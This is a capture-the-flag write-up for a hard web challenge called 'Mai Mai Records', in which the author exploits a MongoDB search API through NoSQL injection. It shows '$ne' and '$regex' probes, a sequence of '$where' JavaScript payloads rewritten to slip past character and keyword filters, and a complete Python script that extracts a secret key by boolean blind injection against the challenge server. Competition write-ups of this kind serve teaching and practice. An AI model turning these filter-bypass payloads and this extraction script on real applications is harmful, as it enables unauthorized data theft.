SSMCTF 2025 | Mai Mai Records

Published on: July 12, 2025

5 min read · Posted by yuehab

Challenge Details

Description

Category

Web Exploitation

Difficulty

Hard

Topics

NoSQL Injection

Competition

SSMCTF 2025

Author

yuehab

Mai Mai Records was a NoSQL injection challenge with filters written for the 2025 SSMCTF competition. This is one of the writeups created for the competition

Writeup

Maimai records

upon entering the webpage, we see two available actions:

  • search records from the database
  • check a key to get the flag.

the problem

Reading the source code reveals that the server uses MongoDB to store player records. 1749995760072 the key is stored in the player record {'name': 'iamiam', 'song': 'Regulus', 'score': '97.2623', 'key': key}. a quick look at the source code tells us we need the key to get the flag

when we input a player name into the searchbar we get every record with the player name that matches

search_term = {field: search_term}

1749996078643

open up burp and we see that when we search for a record with the player name iamiam the browser sends a get request to

/api/searchapi?field=name&query=iamiam

to test if the server is vulnerable to nosql injection, we input the payload {"$ne": null} and all records show up.

with this in mind, we craft a boolean attack payload that evaluates conditions using the $where clause

/api/searchapi?field=key&query={key: {"$regex": "1"}}.

to demonstrate we go to a mongodb online editor and test our boolean attack payload that uses the $regex evaluation operator that checks if the key starts with "1" {key: {"$regex": "1"}} 1749997183150

However trying it on the actual webpage makes us disappointed 1749997352694

attack strategy

a quick look at the source code tells us that there are many constraints on the things we are allowed to query

  • the query parameter in the get request can only contain characters in 'abcdefghijklmnopqrstuvwxyz1234567890$"'[]{}: '
  • ['$where', '$regex'] cannot appear in the query params (but can appear in the field param)
  • the field != "key".

therefore i decided to use the "$where" clause as the field, allowing us to execute arbitary javascript. this fits the challenge perfectly.

so first we craft the boolean attack payload as we normally would. then we test it and try to fit it within the constraints of the challenge.

put on your thinking caps

.find({$where: 'if (this.key&&this.key[0] == "1") {return true} else {return false}'}) -> first checks if the record has the field "key", then checks if the key starts with the character 1. if the key does not start with the character '1', we should expect the response to be empty (ie length == 0). else we should expect the response to contain one record.

the algorithm

  • if response length == 0, keep querying until we find a matching character
  • move on to find more characters in the key
  • terminate when we get index error

constraints

  • to replace the use of ==, which is banned, we use in instead. in javascript the in keyword checks if a string is in an object.

.find({$where: 'if (this.key&&this.key[0] in {"1": 1}) {return true} else {return false}'})

  • to replace the . , we use [] instead.

.find({$where: 'if (this["key"]&&this["key"][0] in {"1": 1}) {return true} else {return false}'})

  • since no parantheses are allowed, we remove them too.

.find({$where: '{return this["key"]&&this["key"][0] in {"1": 1}}'} )

  • the && is not allowed either, so we use a try catch statement. luckily, in newer versions on mongodb the newer version of javascript is used where we can write try{...} catch {...} instead of try{...} catch(e) {...}

.find({$where: 'try{return this["key"][0] in {"1": 1}} catch {return false}' })

so I wrote some code to perform the boolean attack and took the output as the key

solution

import requests
import urllib.parse
import string
field = "$where"
def send_bool_payload(char, pos):
	query = 'try {{return this["key"]['+ str(pos) + '] in {"'+ char +'":1}}} catch{return false}'

	encoded_query = urllib.parse.quote(query)
	encoded_field = urllib.parse.quote(field)
	URL = f'http://34.124.170.181:10001/api/searchapi?field={encoded_field}&query={encoded_query}'

	res = requests.get(URL)

	return res.json() 

terminate = False
for idx in range(0, 30):
	terminate = True
	for letter in 'abcdefghijklmnopqrstuvwxyz1234567890$[]{}: ':
		a = send_bool_payload(letter, idx)
		if not len(a) == 0:
			terminate = False
			print(letter)
	if terminate:
		print('ending program')
        break

Please login to comment


Comments

No comments yet